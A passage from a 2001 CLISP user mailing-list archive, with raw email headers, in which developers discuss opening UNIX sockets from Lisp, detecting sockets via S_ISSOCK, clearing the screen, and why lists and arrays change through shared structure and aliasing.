v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 14:37:01 2001 X-Original-Date: 23 Oct 2001 17:35:09 -0400 > * In message <15317.57001.778557.456361@sif.musiciansfriend.com> > * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?" > * Sent on Tue, 23 Oct 2001 14:18:33 -0700 > * Honorable Erik Arneson writes: > > On 23 October 2001, Sam Steingold wrote: > > > > open can be made to work with them, right? > > I don't think open works with any sort of socket. PF_UNIX sockets are > treated very much like PF_INET sockets wherever possible. In other > words, you have to bind them and use the normal libc socket interface. I meant CL OPEN, not UNIX fopen(2). > > how do I create a unix socket from the shell? > > (mknod(1) on solaris does not mention this). > > how do I determine that a file "/foo/bar" is actually a unix socket? > > (fstat(3) and mknod(2) on solaris do not mention unix sockets). > > You can't create a UNIX socket from the shell, as far as I know. You > can't interface with them normally via 'cat' and such, either, like > you can with a FIFO. They're quite a pain in the butt, huh? :) ouch... at any rate, unless someone tells me how do I know whether "/foo/bar" is a socket, there is nothing I could do. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If it has syntax, it isn't user friendly. From toy@rtp.ericsson.se Tue Oct 23 14:46:41 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w9Nh-0005fL-00 for ; Tue, 23 Oct 2001 14:46:41 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f9NLkcY19787 for ; Tue, 23 Oct 2001 16:46:38 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f9NLkcq19687 for ; Tue, 23 Oct 2001 16:46:38 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Tue Oct 23 16:46:37 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id RAA23302 for ; Tue, 23 Oct 2001 17:48:02 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id RAA10188; Tue, 23 Oct 2001 17:46:36 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <15317.57001.778557.456361@sif.musiciansfriend.com> From: Raymond Toy In-Reply-To: Message-ID: <4nn12i81xf.fsf@rtp.ericsson.se> Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 14:47:05 2001 X-Original-Date: 23 Oct 2001 17:46:36 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <15317.57001.778557.456361@sif.musiciansfriend.com> >> You can't create a UNIX socket from the shell, as far as I know. You >> can't interface with them normally via 'cat' and such, either, like >> you can with a FIFO. They're quite a pain in the butt, huh? :) Sam> ouch... Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is Sam> a socket, there is nothing I could do. On Solaris, there's a S_ISSOCK (see stat(5)). I assume this is how ls knows that /tmp/.X11-unix/X0 is a socket and prints a = after it. Ray From sds@gnu.org Tue Oct 23 15:04:58 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w9fO-0001bc-00 for ; Tue, 23 Oct 2001 15:04:58 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA26784; Tue, 23 Oct 2001 18:04:55 -0400 (EDT) X-Envelope-To: To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <15317.57001.778557.456361@sif.musiciansfriend.com> <4nn12i81xf.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nn12i81xf.fsf@rtp.ericsson.se> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 Message-ID: Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 15:05:07 2001 X-Original-Date: 23 Oct 2001 18:04:06 -0400 > * In message <4nn12i81xf.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?" > * Sent on 23 Oct 2001 17:46:36 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is > Sam> a socket, there is nothing I could do. > > On Solaris, there's a S_ISSOCK (see stat(5)). I assume this is how ls > knows that /tmp/.X11-unix/X0 is a socket and prints a = after it. nope, not on Solaris 2.5.1. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Live Lisp and prosper. From erik@aarg.net Tue Oct 23 16:03:46 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15wAa8-00037u-00 for ; Tue, 23 Oct 2001 16:03:36 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA34B0; Tue, 23 Oct 2001 15:57:26 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15317.63287.536472.971540@sif.musiciansfriend.com> To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? In-Reply-To: <4nn12i81xf.fsf@rtp.ericsson.se> References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <15317.57001.778557.456361@sif.musiciansfriend.com> <4nn12i81xf.fsf@rtp.ericsson.se> X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 16:04:05 2001 X-Original-Date: Tue, 23 Oct 2001 16:03:19 -0700 On 23 October 2001, Raymond Toy wrote: > >>>>> "Sam" == Sam Steingold writes: > Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is > Sam> a socket, there is nothing I could do. > > On Solaris, there's a S_ISSOCK (see stat(5)). I assume this is how ls > knows that /tmp/.X11-unix/X0 is a socket and prints a = after it. Linux has this as well. I see this on our Solaris boxen, too. I wonder what version they added it? -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From toy@rtp.ericsson.se Wed Oct 24 05:43:38 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15wNNh-00058D-00 for ; Wed, 24 Oct 2001 05:43:37 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f9OChYY29684 for ; Wed, 24 Oct 2001 07:43:34 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f9OChX714492 for ; Wed, 24 Oct 2001 07:43:33 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Wed Oct 24 07:42:35 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id IAA05321 for ; Wed, 24 Oct 2001 08:44:00 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id IAA10771; Wed, 24 Oct 2001 08:42:34 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <15317.57001.778557.456361@sif.musiciansfriend.com> <4nn12i81xf.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nitd58b0l.fsf@rtp.ericsson.se> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 24 05:44:08 2001 X-Original-Date: 24 Oct 2001 08:42:34 -0400 >>>>> "Sam" == Sam Steingold writes: >> * In message <4nn12i81xf.fsf@rtp.ericsson.se> >> * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?" >> * Sent on 23 Oct 2001 17:46:36 -0400 >> * Honorable Raymond Toy writes: >> >> >>>>> "Sam" == Sam Steingold writes: Sam> at any rate, unless someone tells me how do I know whether "/foo/bar" is Sam> a socket, there is nothing I could do. >> >> On Solaris, there's a S_ISSOCK (see stat(5)). I assume this is how ls >> knows that /tmp/.X11-unix/X0 is a socket and prints a = after it. Sam> nope, not on Solaris 2.5.1. Ok, I'm on 2.7. Anyway, here's the definition from sys/stat.h: #define S_ISSOCK(mode) (((mode)&0xF000) == 0xc000) Ray From pvaneynd@debian.org Wed Oct 24 14:50:32 2001 Received: from [212.8.180.1] (helo=yucntsys1.yucom.be) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15wVuy-0005hL-00 for ; Wed, 24 Oct 2001 14:50:32 -0700 Received: from localhost ([212.8.175.210]) by yucntsys1.yucom.be with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 24 Oct 2001 23:50:07 +0200 Received: from pvaneynd by localhost with local (Exim 3.33 #1 (Debian)) id 15wVuQ-0004vB-00; Wed, 24 Oct 2001 23:49:58 +0200 From: Peter Van Eynde To: Sam Steingold Cc: Erik Arneson , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? Message-ID: <20011024234958.A18778@localhost> References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 24 14:51:08 2001 X-Original-Date: Wed, 24 Oct 2001 23:49:58 +0200 On Tue, Oct 23, 2001 at 05:06:57PM -0400, Sam Steingold wrote: > > > > Please tell me I've missed an obvious function :-) > > (sys::make-socket-stream host display) > has been added specifically for mit-clx. > when host is a length 0 string, a unix socket pointing to a standard X > socket is returned. Thanks. That sort-of solves my problem. Except for the :: part :-). Can I use this as a 'supported' interface? Groetjes, Peter -- It's logic Jim, but not as we know it. | pvaneynd@debian.org "God, root, what is difference?" - Pitr| "God is more forgiving." - Dave Aronson| http://cvs2.cons.org/~pvaneynd/ From sds@gnu.org Thu Oct 25 06:28:05 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15wkYG-0004UV-00 for ; Thu, 25 Oct 2001 06:28:04 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA15792; Thu, 25 Oct 2001 09:27:59 -0400 (EDT) X-Envelope-To: To: Peter Van Eynde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <20011024234958.A18778@localhost> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011024234958.A18778@localhost> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 25 06:29:01 2001 X-Original-Date: 25 Oct 2001 09:26:57 -0400 > * In message <20011024234958.A18778@localhost> > * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?" > * Sent on Wed, 24 Oct 2001 23:49:58 +0200 > * Honorable Peter Van Eynde writes: > > On Tue, Oct 23, 2001 at 05:06:57PM -0400, Sam Steingold wrote: > > > > > Please tell me I've missed an obvious function :-) > > > > (sys::make-socket-stream host display) > > has been added specifically for mit-clx. > > when host is a length 0 string, a unix socket pointing to a standard X > > socket is returned. > > Thanks. That sort-of solves my problem. Except for the :: part :-). > > Can I use this as a 'supported' interface? yes - CLX is its raison d'etre. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Flying is not dangerous; crashing is. From Randy.Justice@cnet.navy.mil Fri Oct 26 08:16:19 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15x8i3-000719-00 for ; Fri, 26 Oct 2001 08:15:47 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id KAA22220 for ; Fri, 26 Oct 2001 10:14:58 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Oct 2001 10:16:23 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15E31.2BDA2690" Subject: [clisp-list] Clear screen Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 26 08:17:03 2001 X-Original-Date: Fri, 26 Oct 2001 10:16:22 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15E31.2BDA2690 Content-Type: text/plain; charset="iso-8859-1" What method exists to "clear screen"? Randy ------_=_NextPart_001_01C15E31.2BDA2690 Content-Type: text/html; charset="iso-8859-1" Clear screen

What method exists to "clear screen"?


Randy

------_=_NextPart_001_01C15E31.2BDA2690-- From Randy.Justice@cnet.navy.mil Fri Oct 26 13:20:43 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xDSe-0005h9-00 for ; Fri, 26 Oct 2001 13:20:12 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id PAA15153 for ; Fri, 26 Oct 2001 15:19:28 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Oct 2001 15:20:52 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15E5B.B4F34040" Subject: [clisp-list] List of Arrays and Lists Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 26 13:21:07 2001 X-Original-Date: Fri, 26 Oct 2001 15:20:51 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15E5B.B4F34040 Content-Type: text/plain; charset="iso-8859-1" Hi.. Can one have a list composed of arrays and lists? I'm having a problem.. It seems to be related to a list that contains 3-D arrays and lists. My list seems to change without a reason... Randy ------_=_NextPart_001_01C15E5B.B4F34040 Content-Type: text/html; charset="iso-8859-1" List of Arrays and Lists

Hi..

Can one have a list composed of  arrays and lists?

I'm having a problem.. It seems to be related to a list that contains 3-D arrays and lists.
My list seems to change without a reason...

Randy
 

------_=_NextPart_001_01C15E5B.B4F34040-- From kaz@footprints.net Fri Oct 26 13:55:59 2001 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xE1H-0001Gg-00 for ; Fri, 26 Oct 2001 13:55:59 -0700 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 15xE1C-0002I7-00; Fri, 26 Oct 2001 13:55:54 -0700 From: Kaz Kylheku To: "Justice, Randy -CONT(DYN)" cc: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: List of Arrays and Lists Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 26 13:56:06 2001 X-Original-Date: Fri, 26 Oct 2001 13:55:54 -0700 (PDT) On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote: > Can one have a list composed of arrays and lists? You can have a heterogeneous list composed of any mixture of Lisp data types. > I'm having a problem.. It seems to be related to a list that contains 3-D > arrays and lists. > My list seems to change without a reason... Without seeing your code, I can offer you the following hypothesis: perhaps you are destructively manipulating the list. Destructive manipulation of lists and other objects can cause a change in one object to mysteriously propagate to another object. That happens because in Lisp, objects often share parts of their structure with other objects in order to save space and time. A change to the substructure affects all objects which share it. For instance if you create a list and bind it to symbol x like this: (setf x (list 'b 'c 'd)) and then you use this list to create another one and bind it to y: (setf y (cons 'a x)) you now apparently have two lists (b c d) and (a b c d), but they share the three cells which make up the trailing portion (b c d). If you change something in that trailing portion, the change will affect both lists. Note that storing values into arrays is destructive manipulation, and that arrays are manipulated by reference. It's easy to end up with multiple references to the same array in circumstances that call for distinct array objects, leading to surprising results. E.g. (setf x (make-array 3)) ;; make array, bind to x (setf y x) (setf (aref x 1) 42) ;; modify x x => #(nil 42 nil) ;; x modified okay y => #(nil 42 nil) ;; What??? Why did y change? It must be the same array as x. (eq x y) => T ;; eq test confirms our suspicion: ;; the values of x and y are implemented as the same array object! From Randy.Justice@cnet.navy.mil Sat Oct 27 05:57:13 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xT12-000135-00 for ; Sat, 27 Oct 2001 05:56:44 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA08500; Sat, 27 Oct 2001 07:55:09 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Sat, 27 Oct 2001 07:56:36 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Kaz Kylheku '" Cc: "'clisp-list@lists.sourceforge.net '" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15EE6.CACF3230" Subject: [clisp-list] RE: List of Arrays and Lists Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 05:58:01 2001 X-Original-Date: Sat, 27 Oct 2001 07:56:28 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15EE6.CACF3230 Content-Type: text/plain; charset="iso-8859-1" Thank You.... -----Original Message----- From: Kaz Kylheku To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Sent: 10/26/2001 3:55 PM Subject: Re: List of Arrays and Lists On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote: > Can one have a list composed of arrays and lists? You can have a heterogeneous list composed of any mixture of Lisp data types. > I'm having a problem.. It seems to be related to a list that contains 3-D > arrays and lists. > My list seems to change without a reason... Without seeing your code, I can offer you the following hypothesis: perhaps you are destructively manipulating the list. Destructive manipulation of lists and other objects can cause a change in one object to mysteriously propagate to another object. That happens because in Lisp, objects often share parts of their structure with other objects in order to save space and time. A change to the substructure affects all objects which share it. For instance if you create a list and bind it to symbol x like this: (setf x (list 'b 'c 'd)) and then you use this list to create another one and bind it to y: (setf y (cons 'a x)) you now apparently have two lists (b c d) and (a b c d), but they share the three cells which make up the trailing portion (b c d). If you change something in that trailing portion, the change will affect both lists. Note that storing values into arrays is destructive manipulation, and that arrays are manipulated by reference. It's easy to end up with multiple references to the same array in circumstances that call for distinct array objects, leading to surprising results. E.g. (setf x (make-array 3)) ;; make array, bind to x (setf y x) (setf (aref x 1) 42) ;; modify x x => #(nil 42 nil) ;; x modified okay y => #(nil 42 nil) ;; What??? Why did y change? It must be the same array as x. (eq x y) => T ;; eq test confirms our suspicion: ;; the values of x and y are implemented as the same array object! ------_=_NextPart_001_01C15EE6.CACF3230 Content-Type: text/html; charset="iso-8859-1" RE: List of Arrays and Lists

 
Thank You....


-----Original Message-----
From: Kaz Kylheku
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Sent: 10/26/2001 3:55 PM
Subject: Re: List of Arrays and Lists

On Fri, 26 Oct 2001, Justice, Randy -CONT(DYN) wrote:

> Can one have a list composed of  arrays and lists?

You can have a heterogeneous list composed of any mixture of Lisp
data types.

> I'm having a problem.. It seems to be related to a list that contains
3-D
> arrays and lists.
> My list seems to change without a reason...

Without seeing your code, I can offer you the following hypothesis:
perhaps you are destructively manipulating the list. Destructive
manipulation of lists and other objects can cause a change in one
object to mysteriously propagate to another object. That happens
because in Lisp, objects often share parts of their structure with other
objects in order to save space and time. A change to the substructure
affects all objects which share it.

For instance if you create a list and bind it to symbol x like this:

    (setf x (list 'b 'c 'd))

and then you use this list to create another one and bind it to y:

    (setf y (cons 'a x))

you now apparently have two lists (b c d) and (a b c d), but they share
the three cells which make up the trailing portion (b c d). If
you change something in that trailing portion, the change will affect
both lists.

Note that storing values into arrays is destructive manipulation,
and that arrays are manipulated by reference. It's easy to end up
with multiple references to the same array in circumstances that
call for distinct array objects, leading to surprising results.

E.g.

        (setf x (make-array 3)) ;; make array, bind to x

        (setf y x)

        (setf (aref x 1) 42)    ;; modify x

        x       =>  #(nil 42 nil)

        ;; x modified okay

        y       =>  #(nil 42 nil)

        ;; What??? Why did y change? It must be the same array as x.

        (eq x y)  => T

        ;; eq test confirms our suspicion:
        ;; the values of x and y are implemented as the same array
object!

------_=_NextPart_001_01C15EE6.CACF3230-- From ampy@ich.dvo.ru Sat Oct 27 07:25:49 2001 Received: from ints.vtc.ru ([212.16.193.34]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xUP2-0000xo-00 for ; Sat, 27 Oct 2001 07:25:37 -0700 Received: from ppp20-AS-1.vtc.ru (ppp20-AS-1.vtc.ru [212.16.216.20]) by ints.vtc.ru (8.9.3/8.9.3) with ESMTP id BAA07781; Sun, 28 Oct 2001 01:24:22 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <741367556.20011028012754@ich.dvo.ru> To: "Justice, Randy -CONT(DYN)" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clear screen In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 07:26:03 2001 X-Original-Date: Sun, 28 Oct 2001 01:27:54 +1000 Hello Randy, Saturday, October 27, 2001, 1:16:22 AM, you wrote: Randy> What method exists to "clear screen"? See screen:clear-window in random screen access section of impnotes. -- Best regards, Arseny From Randy.Justice@cnet.navy.mil Sat Oct 27 07:27:14 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xUQK-00016R-00 for ; Sat, 27 Oct 2001 07:26:56 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA10251 for ; Sat, 27 Oct 2001 09:26:19 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Sat, 27 Oct 2001 09:27:46 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'clisp-list@lists.sourceforge.net '" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15EF3.88568540" Subject: [clisp-list] Remove duplicates from a complex list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 07:28:02 2001 X-Original-Date: Sat, 27 Oct 2001 09:27:40 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15EF3.88568540 Content-Type: text/plain; charset="iso-8859-1" Hi. 